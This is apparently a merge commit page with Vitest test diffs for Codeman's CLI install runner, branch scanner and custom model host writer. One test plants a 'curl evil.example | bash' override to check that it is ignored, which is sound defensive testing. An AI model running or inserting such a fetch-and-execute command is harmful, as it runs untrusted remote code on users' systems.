mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-11-14 10:39:32 +01:00
Merge feat/local-model-recommendation: recommend and install a local coding model on this Mac (experimental)
Conflicts resolved as on test/desktop-macbook: config/test-suites.ts keeps both browser tests (desktop-connect-page and local-model-ui), and the CLAUDE.md state-files line keeps #778's cli-installed entry with the local model's local-model.json and local-model/ entries. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
Codeman maintainer committed
commit
e8a63ede00
80 files changed
+31268
-261
No files matched your search
@@ -0,0 +1,298 @@
|
||||
/**
|
||||
* @fileoverview The shared runner of a stock CLI's install command (src/cli-install-runner.ts):
|
||||
* what is new in it since it left the registry route, and what both of its callers rely on.
|
||||
*
|
||||
* The route's own behaviour (answers, audit entry, environment, timeout) stays pinned by
|
||||
* test/routes/cli-registry-routes.test.ts, which runs unchanged against the moved code. Here:
|
||||
* - `stockInstallCommand()` reads the COMPILED stock entry, so a `clis.json` override cannot
|
||||
* change what the local model install job runs;
|
||||
* - the one install slot per CLI is shared: while the job holds it, the route answers 409;
|
||||
* - an abort signal kills the installer's process group, and one that is already aborted
|
||||
* starts nothing;
|
||||
* - `forgetResolvedCli()` drops both caches.
|
||||
*
|
||||
* Nothing is really spawned: `spawn` is a fake child.
|
||||
*
|
||||
* Port: N/A (app.inject(), no live server).
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { EventEmitter } from 'node:events';
|
||||
import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { dirname } from 'node:path';
|
||||
import { createRouteTestHarness } from './routes/_route-test-utils.js';
|
||||
import {
|
||||
CLI_INSTALL_TIMEOUT_MS,
|
||||
forgetResolvedCli,
|
||||
runInstallCommand,
|
||||
stockInstallCommand,
|
||||
tryBeginCliInstall,
|
||||
} from '../src/cli-install-runner.js';
|
||||
import { registerCliRegistryRoutes } from '../src/web/routes/cli-registry-routes.js';
|
||||
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
|
||||
import {
|
||||
getCli,
|
||||
registryFilePath,
|
||||
reloadCliRegistry,
|
||||
resolveInstallCommandForPlatform,
|
||||
} from '../src/config/cli-registry/registry.js';
|
||||
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
||||
|
||||
const { spawnMock, invalidateBinariesSpy, invalidateIdSpy } = vi.hoisted(() => ({
|
||||
spawnMock: vi.fn(),
|
||||
invalidateBinariesSpy: vi.fn(),
|
||||
invalidateIdSpy: vi.fn(),
|
||||
}));
|
||||
vi.mock('node:child_process', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import('node:child_process')>();
|
||||
return { ...actual, spawn: spawnMock };
|
||||
});
|
||||
vi.mock('../src/utils/cli-executable-resolver.js', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import('../src/utils/cli-executable-resolver.js')>();
|
||||
return {
|
||||
...actual,
|
||||
invalidateCliExecutableResolvers: (binaries: readonly string[]) => {
|
||||
invalidateBinariesSpy([...binaries]);
|
||||
actual.invalidateCliExecutableResolvers(binaries);
|
||||
},
|
||||
};
|
||||
});
|
||||
vi.mock('../src/utils/cli-resolver.js', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import('../src/utils/cli-resolver.js')>();
|
||||
return {
|
||||
...actual,
|
||||
invalidateCliResolverCache: (id?: string) => {
|
||||
invalidateIdSpy(id);
|
||||
actual.invalidateCliResolverCache(id);
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
interface FakeChild extends EventEmitter {
|
||||
pid: number;
|
||||
stdout: EventEmitter;
|
||||
stderr: EventEmitter;
|
||||
}
|
||||
|
||||
/** A spawned installer that stays alive until the test ends it. */
|
||||
function hangingChild(pid = 4_242_424): FakeChild {
|
||||
const child = new EventEmitter() as FakeChild;
|
||||
child.pid = pid;
|
||||
child.stdout = new EventEmitter();
|
||||
child.stderr = new EventEmitter();
|
||||
return child;
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
spawnMock.mockReset();
|
||||
invalidateBinariesSpy.mockClear();
|
||||
invalidateIdSpy.mockClear();
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.useRealTimers();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('stockInstallCommand', () => {
|
||||
afterEach(() => {
|
||||
rmSync(registryFilePath(), { force: true });
|
||||
reloadCliRegistry();
|
||||
});
|
||||
|
||||
it('is the compiled stock command of every stock CLI that has one for this platform', () => {
|
||||
for (const entry of STOCK_CLIS) {
|
||||
const expected = resolveInstallCommandForPlatform(entry);
|
||||
expect(stockInstallCommand(entry.id as string)).toBe(expected && expected.trim() !== '' ? expected : undefined);
|
||||
}
|
||||
expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
|
||||
});
|
||||
|
||||
it('is undefined for an id that is not a stock CLI', () => {
|
||||
expect(stockInstallCommand('not-a-cli')).toBeUndefined();
|
||||
expect(stockInstallCommand('')).toBeUndefined();
|
||||
expect(stockInstallCommand('__proto__')).toBeUndefined();
|
||||
});
|
||||
|
||||
it('ignores a clis.json override: the registry shows the override, the stock command stays', () => {
|
||||
mkdirSync(dirname(registryFilePath()), { recursive: true });
|
||||
writeFileSync(
|
||||
registryFilePath(),
|
||||
JSON.stringify({
|
||||
schemaVersion: 1,
|
||||
clis: {
|
||||
opencode: {
|
||||
discovery: {
|
||||
install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } },
|
||||
},
|
||||
},
|
||||
},
|
||||
}),
|
||||
{ mode: 0o600 }
|
||||
);
|
||||
reloadCliRegistry();
|
||||
// The override is in force for the registry (what the Settings list shows and the route runs)...
|
||||
expect(resolveInstallCommandForPlatform(getCli('opencode')!)).toBe('curl evil.example | bash');
|
||||
// ...and is not what the local model install job would run.
|
||||
expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
|
||||
});
|
||||
});
|
||||
|
||||
describe('tryBeginCliInstall', () => {
|
||||
it('gives one slot per CLI id, and the slot comes back when it is released', () => {
|
||||
const release = tryBeginCliInstall('slot-a');
|
||||
expect(release).toBeTypeOf('function');
|
||||
expect(tryBeginCliInstall('slot-a')).toBeNull();
|
||||
// Another CLI has its own slot.
|
||||
const other = tryBeginCliInstall('slot-b');
|
||||
expect(other).toBeTypeOf('function');
|
||||
release!();
|
||||
const again = tryBeginCliInstall('slot-a');
|
||||
expect(again).toBeTypeOf('function');
|
||||
again!();
|
||||
other!();
|
||||
});
|
||||
|
||||
it('a release called twice frees the slot once: a later holder is not thrown out', () => {
|
||||
const first = tryBeginCliInstall('slot-c')!;
|
||||
first();
|
||||
const second = tryBeginCliInstall('slot-c')!;
|
||||
first();
|
||||
expect(tryBeginCliInstall('slot-c')).toBeNull();
|
||||
second();
|
||||
});
|
||||
|
||||
it('is the slot the registry route uses: while it is held, POST /api/clis/:id/install answers 409 and spawns nothing', async () => {
|
||||
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
|
||||
writeFileSync(SETTINGS_PATH, JSON.stringify({ cliManagementEnabled: true }));
|
||||
const { app } = await createRouteTestHarness(registerCliRegistryRoutes);
|
||||
const release = tryBeginCliInstall('grok')!;
|
||||
try {
|
||||
const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
|
||||
expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT' });
|
||||
expect(spawnMock).not.toHaveBeenCalled();
|
||||
} finally {
|
||||
release();
|
||||
}
|
||||
// Released: the route installs again.
|
||||
spawnMock.mockImplementation(() => {
|
||||
const child = hangingChild();
|
||||
setImmediate(() => child.emit('close', 0));
|
||||
return child;
|
||||
});
|
||||
const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
|
||||
expect(res.json()).toMatchObject({ success: true, data: { id: 'grok', code: 0 } });
|
||||
// And the route gave the slot back when its install ended.
|
||||
const after = tryBeginCliInstall('grok');
|
||||
expect(after).toBeTypeOf('function');
|
||||
after!();
|
||||
});
|
||||
});
|
||||
|
||||
describe('runInstallCommand', () => {
|
||||
it('runs the command in a shell of its own process group and reports how it ended', async () => {
|
||||
spawnMock.mockImplementation(() => {
|
||||
const child = hangingChild();
|
||||
setImmediate(() => {
|
||||
child.stdout.emit('data', Buffer.from('installed\n'));
|
||||
child.emit('close', 0);
|
||||
});
|
||||
return child;
|
||||
});
|
||||
const result = await runInstallCommand('echo hello');
|
||||
expect(result).toEqual({ code: 0, output: 'installed\n', timedOut: false, aborted: false });
|
||||
expect(spawnMock).toHaveBeenCalledTimes(1);
|
||||
expect(spawnMock.mock.calls[0][0]).toBe('echo hello');
|
||||
expect(spawnMock.mock.calls[0][1]).toMatchObject({ shell: true, detached: true });
|
||||
});
|
||||
|
||||
it('a spawn that throws is a result, not an exception', async () => {
|
||||
spawnMock.mockImplementation(() => {
|
||||
throw new Error('ENOENT sh');
|
||||
});
|
||||
expect(await runInstallCommand('echo hello')).toEqual({
|
||||
code: null,
|
||||
output: 'spawn failed: ENOENT sh',
|
||||
timedOut: false,
|
||||
aborted: false,
|
||||
});
|
||||
});
|
||||
|
||||
it('a signal that is already aborted starts nothing', async () => {
|
||||
const controller = new AbortController();
|
||||
controller.abort();
|
||||
expect(await runInstallCommand('echo hello', { signal: controller.signal })).toEqual({
|
||||
code: null,
|
||||
output: '',
|
||||
timedOut: false,
|
||||
aborted: true,
|
||||
});
|
||||
expect(spawnMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('an abort kills the whole process group: SIGTERM at once, SIGKILL three seconds later', async () => {
|
||||
vi.useFakeTimers();
|
||||
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
|
||||
const child = hangingChild(777_777);
|
||||
spawnMock.mockImplementation(() => child);
|
||||
const controller = new AbortController();
|
||||
const pending = runInstallCommand('echo hello', { signal: controller.signal });
|
||||
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
|
||||
|
||||
controller.abort();
|
||||
// The negative pid is the group: the installer's own children go with it.
|
||||
expect(kill).toHaveBeenCalledWith(-777_777, 'SIGTERM');
|
||||
expect(kill).not.toHaveBeenCalledWith(-777_777, 'SIGKILL');
|
||||
await vi.advanceTimersByTimeAsync(3_000);
|
||||
expect(kill).toHaveBeenCalledWith(-777_777, 'SIGKILL');
|
||||
|
||||
child.emit('close', null);
|
||||
expect(await pending).toEqual({ code: null, output: '', timedOut: false, aborted: true });
|
||||
});
|
||||
|
||||
it('an aborted installer that never closes is given up on after eight seconds', async () => {
|
||||
vi.useFakeTimers();
|
||||
vi.spyOn(process, 'kill').mockImplementation(() => true);
|
||||
spawnMock.mockImplementation(() => hangingChild());
|
||||
const controller = new AbortController();
|
||||
const pending = runInstallCommand('echo hello', { signal: controller.signal });
|
||||
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
|
||||
controller.abort();
|
||||
await vi.advanceTimersByTimeAsync(8_000);
|
||||
expect(await pending).toMatchObject({ code: null, aborted: true, timedOut: false });
|
||||
});
|
||||
|
||||
it('the timeout still kills the group and says so, as it did in the route', async () => {
|
||||
vi.useFakeTimers();
|
||||
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
|
||||
const child = hangingChild(888_888);
|
||||
spawnMock.mockImplementation(() => child);
|
||||
const pending = runInstallCommand('echo hello');
|
||||
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
|
||||
await vi.advanceTimersByTimeAsync(CLI_INSTALL_TIMEOUT_MS);
|
||||
expect(kill).toHaveBeenCalledWith(-888_888, 'SIGTERM');
|
||||
child.emit('close', null);
|
||||
expect(await pending).toEqual({ code: null, output: '', timedOut: true, aborted: false });
|
||||
});
|
||||
|
||||
it('an abort after the installer ended does nothing', async () => {
|
||||
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
|
||||
spawnMock.mockImplementation(() => {
|
||||
const child = hangingChild();
|
||||
setImmediate(() => child.emit('close', 0));
|
||||
return child;
|
||||
});
|
||||
const controller = new AbortController();
|
||||
const result = await runInstallCommand('echo hello', { signal: controller.signal });
|
||||
controller.abort();
|
||||
expect(result.aborted).toBe(false);
|
||||
expect(kill).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('forgetResolvedCli', () => {
|
||||
it('drops the per-binary caches and the per-id resolver', () => {
|
||||
forgetResolvedCli('opencode', ['opencode', 'opencode-bin']);
|
||||
expect(invalidateBinariesSpy).toHaveBeenCalledWith(['opencode', 'opencode-bin']);
|
||||
expect(invalidateIdSpy).toHaveBeenCalledWith('opencode');
|
||||
});
|
||||
});
|
||||
@@ -167,7 +167,6 @@ const ALLOWED_BRANCHES: Record<string, Allowance> = {
|
||||
),
|
||||
"tui/tui-render.ts::mode !== 'claude'": allow(1, 'cosmetic: suppress the mode badge for the default mode'),
|
||||
|
||||
|
||||
// Legacy <Mode>Config plumbing, same category as the `===` entries above.
|
||||
"web/routes/session-routes.ts::mode !== 'omp'": allow(
|
||||
2,
|
||||
@@ -212,8 +211,10 @@ const ID_ALT = IDS.join('|');
|
||||
*/
|
||||
const BRANCH_PATTERN = new RegExp(
|
||||
[
|
||||
// mode === 'codex' / mode !== 'codex'
|
||||
`\\b(?:mode|id|agentType)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
|
||||
// mode === 'codex' / mode !== 'codex'. `cli` is the name the local model catalogue gives
|
||||
// the same thing (`LocalHarnessEntry.cli`, `Candidate.cli`), so `harness.cli === 'claude'`
|
||||
// is the same banned branch under another field name.
|
||||
`\\b(?:mode|id|agentType|cli)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
|
||||
// case 'codex':
|
||||
`\\bcase\\s+'(?:${ID_ALT})'\\s*:`,
|
||||
// ['codex', 'gemini'].includes(mode) — the id list IS the branch, wherever `mode` sits
|
||||
@@ -267,7 +268,7 @@ function scan(): { findings: Finding[]; filesScanned: number } {
|
||||
lines.forEach((line, i) => {
|
||||
BRANCH_PATTERN.lastIndex = 0; // shared /g regex — see utils/regex-patterns.ts
|
||||
for (const match of line.matchAll(BRANCH_PATTERN)) {
|
||||
const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType)/, 'mode');
|
||||
const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType|cli)/, 'mode');
|
||||
const posix = rel.split(sep).join('/');
|
||||
findings.push({ file: posix, expression, line: i + 1, key: `${posix}::${expression}` });
|
||||
}
|
||||
@@ -337,6 +338,8 @@ describe('no CLI-id branching outside the stock catalog', () => {
|
||||
"if (mode !== 'shell' && mode !== 'deepseek') { doSomething(); }",
|
||||
"switch (mode) { case 'gemini': return 1; }",
|
||||
"if (['codex', 'gemini'].includes(mode)) { doSomething(); }",
|
||||
"if (harness.cli === 'claude') { doSomething(); }",
|
||||
"const others = candidates.filter((c) => c.cli !== 'opencode');",
|
||||
];
|
||||
for (const sample of samples) {
|
||||
BRANCH_PATTERN.lastIndex = 0;
|
||||
|
||||
@@ -13,7 +13,9 @@
|
||||
* directly plus the mocked webviewFetch dispatcher).
|
||||
*/
|
||||
import { describe, it, expect, vi, beforeEach } from 'vitest';
|
||||
import { getDataDir } from '../src/config/instance.js';
|
||||
import { readFileSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { dataPath, getDataDir } from '../src/config/instance.js';
|
||||
import { customModelHostsPath } from '../src/custom-model-hosts.js';
|
||||
import { readCustomModelHosts, writeCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
|
||||
import { clearPropsProbeCache, refreshAllCustomModelHosts } from '../src/web/routes/custom-model-routes.js';
|
||||
import { webviewFetch } from '../src/web/webview-egress.js';
|
||||
@@ -498,7 +500,9 @@ describe('refreshAllCustomModelHosts: parallel-slot enrichment (llama.cpp splits
|
||||
if (url.pathname === '/running') {
|
||||
return new Response(
|
||||
JSON.stringify({
|
||||
running: [{ model: 'm', state: 'ready', cmd: 'llama-server -m /models/m.gguf --ctx-size 262144 --parallel 4' }],
|
||||
running: [
|
||||
{ model: 'm', state: 'ready', cmd: 'llama-server -m /models/m.gguf --ctx-size 262144 --parallel 4' },
|
||||
],
|
||||
}),
|
||||
{ status: 200 }
|
||||
);
|
||||
@@ -602,3 +606,104 @@ describe('refreshAllCustomModelHosts: model-size enrichment (parsed from /v1/mod
|
||||
expect(updated.modelSizesGB).toEqual({ a: 8 }); // 'a' kept from before, 'b' dropped (gone from the list)
|
||||
});
|
||||
});
|
||||
|
||||
describe('the sweep and the serialized writer', () => {
|
||||
it('an endpoint created while the sweep was probing another one is kept', async () => {
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [host({ id: 'probed', baseUrl: 'http://localhost:8080' })]);
|
||||
fetchMock.mockImplementation(async () => {
|
||||
// An admin saves a second endpoint between the sweep's read and its write. The sweep
|
||||
// must splice its result onto the list as it is then, not write back the one it read.
|
||||
const current = await readCustomModelHosts(dir);
|
||||
if (!current.some((h) => h.id === 'added')) {
|
||||
await writeCustomModelHosts(dir, [...current, host({ id: 'added', baseUrl: 'http://localhost:8082' })]);
|
||||
}
|
||||
return new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 });
|
||||
});
|
||||
|
||||
await refreshAllCustomModelHosts();
|
||||
|
||||
const hosts = await readCustomModelHosts(dir);
|
||||
expect(hosts.map((h) => h.id)).toEqual(['probed', 'added']);
|
||||
expect(hosts[0].models).toEqual(['qwen3']);
|
||||
});
|
||||
|
||||
it('never writes over a store that stopped parsing while the sweep ran', async () => {
|
||||
const dir = getDataDir();
|
||||
vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
await writeCustomModelHosts(dir, [
|
||||
host({ id: 'a', baseUrl: 'http://localhost:8080', apiKey: 'sk-keep' }),
|
||||
host({ id: 'b', baseUrl: 'http://localhost:8081' }),
|
||||
]);
|
||||
const broken = '[{"id":"a","apiKey":"sk-keep"},';
|
||||
fetchMock.mockImplementation(async () => {
|
||||
writeFileSync(customModelHostsPath(dir), broken);
|
||||
return new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 });
|
||||
});
|
||||
|
||||
await expect(refreshAllCustomModelHosts()).resolves.toBeUndefined();
|
||||
|
||||
// It used to read the broken file as an empty list and carry on; it is left as it is.
|
||||
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(broken);
|
||||
// And the sweep stopped there: the second endpoint was not probed for nothing.
|
||||
expect(fetchMock.mock.calls.every(([url]) => !(url as URL).href.includes('8081'))).toBe(true);
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
});
|
||||
|
||||
describe('the sweep leaves the local model record alone', () => {
|
||||
const STATE = () => dataPath('local-model.json');
|
||||
const MANAGED: CustomModelHost = {
|
||||
id: 'local-ollama',
|
||||
label: 'This Mac',
|
||||
baseUrl: 'http://127.0.0.1:11435',
|
||||
authStyle: 'bearer',
|
||||
models: ['qwen3.6:35b-a3b'],
|
||||
defaultModelId: 'qwen3.6:35b-a3b',
|
||||
defaultContextLength: 131072,
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
rmSync(STATE(), { force: true });
|
||||
});
|
||||
|
||||
it('while it is managed: it is not probed, and a model somebody pulled through the port does not become launchable', async () => {
|
||||
const dir = getDataDir();
|
||||
writeFileSync(
|
||||
STATE(),
|
||||
JSON.stringify({
|
||||
schema: 1,
|
||||
state: 'installed',
|
||||
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
|
||||
cli: { id: 'opencode', label: 'OpenCode' },
|
||||
runtime: { version: '0.40.15', port: 11435, enabled: true },
|
||||
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
|
||||
})
|
||||
);
|
||||
await writeCustomModelHosts(dir, [MANAGED, host({ id: 'other', baseUrl: 'http://localhost:8080' })]);
|
||||
fetchMock.mockImplementation(
|
||||
async () =>
|
||||
new Response(JSON.stringify({ data: [{ id: 'qwen3.6:35b-a3b' }, { id: 'sneaked-in:7b' }] }), { status: 200 })
|
||||
);
|
||||
|
||||
await refreshAllCustomModelHosts();
|
||||
|
||||
const hosts = await readCustomModelHosts(dir);
|
||||
// Our record is exactly what the install wrote: no new model, no discovery stamp.
|
||||
expect(hosts.find((h) => h.id === 'local-ollama')).toEqual(MANAGED);
|
||||
// Every other endpoint is refreshed as before.
|
||||
expect(hosts.find((h) => h.id === 'other')?.models).toEqual(['qwen3.6:35b-a3b', 'sneaked-in:7b']);
|
||||
for (const [url] of fetchMock.mock.calls) expect((url as URL).href).not.toContain('11435');
|
||||
rmSync(STATE(), { force: true });
|
||||
});
|
||||
|
||||
it('a record with that id that nobody installed is refreshed like any other', async () => {
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [{ ...MANAGED, models: [], defaultModelId: undefined }]);
|
||||
fetchMock.mockImplementation(
|
||||
async () => new Response(JSON.stringify({ data: [{ id: 'mine:1b' }] }), { status: 200 })
|
||||
);
|
||||
await refreshAllCustomModelHosts();
|
||||
expect((await readCustomModelHosts(dir))[0].models).toEqual(['mine:1b']);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,239 @@
|
||||
/**
|
||||
* @fileoverview The serialized writer of `custom-model-hosts.json`
|
||||
* (src/custom-model-hosts-writer.ts) and the rule that every writer in src/ goes through it.
|
||||
*
|
||||
* What is pinned:
|
||||
* - two mutations started at the same moment both land (the fault the writer ends: the
|
||||
* endpoint routes and the discovery sweep used to read, change and write on their own);
|
||||
* - the check a caller makes runs in the same step as its write;
|
||||
* - a file that does not parse is refused and left byte for byte, and the refusal never
|
||||
* repeats the file's text (it can hold an API key);
|
||||
* - the file is written 0600 through a temp file that is gone afterwards;
|
||||
* - no module of src/ calls `writeCustomModelHosts()` any more.
|
||||
*
|
||||
* Port: N/A (no server; files in a temp folder).
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { mkdtempSync, readdirSync, readFileSync, rmSync, statSync, symlinkSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import {
|
||||
CustomModelHostsWriteRefusedError,
|
||||
customModelHostsWriteErrorResponse,
|
||||
mutateCustomModelHosts,
|
||||
} from '../src/custom-model-hosts-writer.js';
|
||||
import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
|
||||
|
||||
const host = (id: string, extra: Partial<CustomModelHost> = {}): CustomModelHost => ({
|
||||
id,
|
||||
label: id,
|
||||
baseUrl: `http://${id}.example:8080`,
|
||||
...extra,
|
||||
});
|
||||
|
||||
let dir: string;
|
||||
|
||||
beforeEach(() => {
|
||||
dir = mkdtempSync(join(tmpdir(), 'codeman-hosts-writer-'));
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('mutateCustomModelHosts', () => {
|
||||
it('starts from an empty list when the file is missing, and writes what the mutation returns', async () => {
|
||||
const result = await mutateCustomModelHosts((hosts) => {
|
||||
expect(hosts).toEqual([]);
|
||||
return { hosts: [host('a')], result: 'added' };
|
||||
}, dir);
|
||||
expect(result).toBe('added');
|
||||
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
|
||||
});
|
||||
|
||||
it('an empty file is an empty list too: it holds no endpoint to lose', async () => {
|
||||
writeFileSync(customModelHostsPath(dir), ' \n');
|
||||
await mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host('a')], result: undefined }), dir);
|
||||
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
|
||||
});
|
||||
|
||||
it('writes nothing when the mutation returns no list', async () => {
|
||||
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a')]));
|
||||
const before = statSync(customModelHostsPath(dir)).mtimeMs;
|
||||
const result = await mutateCustomModelHosts((hosts) => ({ result: hosts.length }), dir);
|
||||
expect(result).toBe(1);
|
||||
expect(statSync(customModelHostsPath(dir)).mtimeMs).toBe(before);
|
||||
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(JSON.stringify([host('a')]));
|
||||
});
|
||||
|
||||
it('two mutations started together both land: the second sees what the first wrote', async () => {
|
||||
const seen: string[][] = [];
|
||||
const add = (id: string) =>
|
||||
mutateCustomModelHosts((hosts) => {
|
||||
seen.push(hosts.map((item) => item.id));
|
||||
return { hosts: [...hosts, host(id)], result: id };
|
||||
}, dir);
|
||||
const results = await Promise.all([add('first'), add('second')]);
|
||||
expect(results).toEqual(['first', 'second']);
|
||||
expect(seen).toEqual([[], ['first']]);
|
||||
expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(['first', 'second']);
|
||||
});
|
||||
|
||||
it('twenty mutations at once keep every record (unserialized writers lost all but the last)', async () => {
|
||||
const ids = Array.from({ length: 20 }, (_, i) => `ep${i}`);
|
||||
await Promise.all(
|
||||
ids.map((id) => mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host(id)], result: undefined }), dir))
|
||||
);
|
||||
expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(ids);
|
||||
// Every temp file was renamed over the target: only the one file is left.
|
||||
expect(readdirSync(dir)).toEqual(['custom-model-hosts.json']);
|
||||
});
|
||||
|
||||
it('a check made inside the mutation is made on the list as it is then: two creates of one id, one wins', async () => {
|
||||
const create = (label: string) =>
|
||||
mutateCustomModelHosts<'created' | 'exists'>((hosts) => {
|
||||
if (hosts.some((item) => item.id === 'same')) return { result: 'exists' };
|
||||
return { hosts: [...hosts, host('same', { label })], result: 'created' };
|
||||
}, dir);
|
||||
expect(await Promise.all([create('one'), create('two')])).toEqual(['created', 'exists']);
|
||||
expect(await readCustomModelHosts(dir)).toEqual([host('same', { label: 'one' })]);
|
||||
});
|
||||
|
||||
it('hands the mutation a list it may change in place', async () => {
|
||||
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a'), host('b')]));
|
||||
await mutateCustomModelHosts((hosts) => {
|
||||
hosts[1] = { ...hosts[1], label: 'changed' };
|
||||
return { hosts, result: undefined };
|
||||
}, dir);
|
||||
expect((await readCustomModelHosts(dir)).map((item) => item.label)).toEqual(['a', 'changed']);
|
||||
});
|
||||
|
||||
it('writes the file 0600 (it holds API keys), also over a file that was world-readable', async () => {
|
||||
writeFileSync(customModelHostsPath(dir), '[]', { mode: 0o644 });
|
||||
await mutateCustomModelHosts(() => ({ hosts: [host('a', { apiKey: 'sk-secret' })], result: undefined }), dir);
|
||||
expect(statSync(customModelHostsPath(dir)).mode & 0o777).toBe(0o600);
|
||||
});
|
||||
|
||||
it('writes through a symlink: the real file changes and the link stays a link', async () => {
|
||||
const real = join(dir, 'real-hosts.json');
|
||||
writeFileSync(real, '[]');
|
||||
symlinkSync(real, customModelHostsPath(dir));
|
||||
await mutateCustomModelHosts(() => ({ hosts: [host('a')], result: undefined }), dir);
|
||||
expect(JSON.parse(readFileSync(real, 'utf8'))).toEqual([host('a')]);
|
||||
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
|
||||
});
|
||||
|
||||
describe('a file that must not be overwritten', () => {
|
||||
const broken = '[{"id":"keep","apiKey":"sk-do-not-leak"},';
|
||||
|
||||
it.each([
|
||||
['text that does not parse', broken],
|
||||
['a JSON object instead of a list', '{"id":"keep","apiKey":"sk-do-not-leak"}'],
|
||||
['a JSON string', '"sk-do-not-leak"'],
|
||||
])('refuses %s, leaves it byte for byte and never calls the mutation', async (_label, content) => {
|
||||
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
writeFileSync(customModelHostsPath(dir), content);
|
||||
const fn = vi.fn(() => ({ hosts: [host('new')], result: undefined }));
|
||||
await expect(mutateCustomModelHosts(fn, dir)).rejects.toBeInstanceOf(CustomModelHostsWriteRefusedError);
|
||||
expect(fn).not.toHaveBeenCalled();
|
||||
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(content);
|
||||
expect(readdirSync(dir)).toEqual(['custom-model-hosts.json']);
|
||||
// Neither the error nor the log repeats the file, which holds a key.
|
||||
const error = await mutateCustomModelHosts(fn, dir).catch((err: Error) => err);
|
||||
expect((error as Error).message).not.toContain('sk-do-not-leak');
|
||||
expect((error as Error).message).toContain('custom-model-hosts.json');
|
||||
expect(warn.mock.calls.flat().join(' ')).not.toContain('sk-do-not-leak');
|
||||
});
|
||||
|
||||
it('the plain reader calls such a file an empty list, which is why a writer must not start from it', async () => {
|
||||
writeFileSync(customModelHostsPath(dir), broken);
|
||||
expect(await readCustomModelHosts(dir)).toEqual([]);
|
||||
});
|
||||
|
||||
it('a refused mutation does not stop the ones after it', async () => {
|
||||
vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
writeFileSync(customModelHostsPath(dir), broken);
|
||||
const refused = mutateCustomModelHosts(() => ({ hosts: [], result: undefined }), dir);
|
||||
const other = mkdtempSync(join(tmpdir(), 'codeman-hosts-writer-other-'));
|
||||
try {
|
||||
const next = mutateCustomModelHosts(() => ({ hosts: [host('a')], result: 'ok' }), other);
|
||||
await expect(refused).rejects.toBeInstanceOf(CustomModelHostsWriteRefusedError);
|
||||
expect(await next).toBe('ok');
|
||||
expect(await readCustomModelHosts(other)).toEqual([host('a')]);
|
||||
} finally {
|
||||
rmSync(other, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
it('a mutation that throws rejects its own caller, writes nothing, and the chain goes on', async () => {
|
||||
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a')]));
|
||||
const thrown = mutateCustomModelHosts(() => {
|
||||
throw new Error('boom');
|
||||
}, dir);
|
||||
